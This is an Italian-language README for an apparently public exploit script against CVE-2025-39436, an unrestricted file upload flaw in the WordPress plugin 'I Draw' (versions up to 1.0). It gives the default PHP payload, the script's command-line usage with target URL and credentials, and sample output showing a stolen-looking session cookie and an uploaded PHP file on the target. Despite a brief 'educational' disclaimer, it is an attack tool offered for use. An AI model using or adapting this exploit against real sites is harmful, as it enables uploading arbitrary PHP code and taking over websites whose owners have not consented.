🚨 Exploit per Plugin WordPress: CVE-2025-39436

📝 Descrizione

Una vulnerabilità di Caricamento Non Restretto di File con Tipo Pericoloso esiste nel plugin WordPress "I Draw". Questo exploit consente agli attaccanti di caricare file dannosi senza restrizioni. Il problema riguarda le versioni di I Draw fino alla 1.0.

---

🛠️ Dettagli dell'Exploit

L'exploit sfrutta la funzionalità di caricamento file del plugin per eseguire un payload PHP. Di seguito è riportato il payload predefinito utilizzato:

php_code = "<?php echo 'Im Nxploited | Khaled Alenazi'; ?>"

---

🚀 Utilizzo

usage: CVE-2025-39436.py [-h] -u URL -un USERNAME -p PASSWORD

options:
  -h, --help            Show this help message and exit
  -u, --url URL         Target website URL
  -un, --username USERNAME
                        Username
  -p, --password PASSWORD

---

💻 Esempio di Output dello Script

[✅] Login successful.
[🍪] Cookies here:
wordpress_logged_in_4b00801d41db6e7d9e0ed0af2c824ea0=admin%7C1746301986%7CZvXtaLwW7AlgtJ9JxOH24nAo8G6WqoSQGYcz6xGSNe1%7C53cc2f686eb1e4265e17fcb0823d5e7349ffdc7b86ec8099453b5e80e7c2b51a
[✅] File uploaded successfully:
[🔗] http://target/wp-content/uploads/2025/4/19/nxploit.php

---

⚠️ Dichiarazione di non responsabilità

Questo script è fornito solo a scopo educativo. L'autore non si assume alcuna responsabilità per usi impropri o danni causati da questo exploit. Utilizzalo a tuo rischio.

---

Di: Nxploited ( Khaled Alenazi )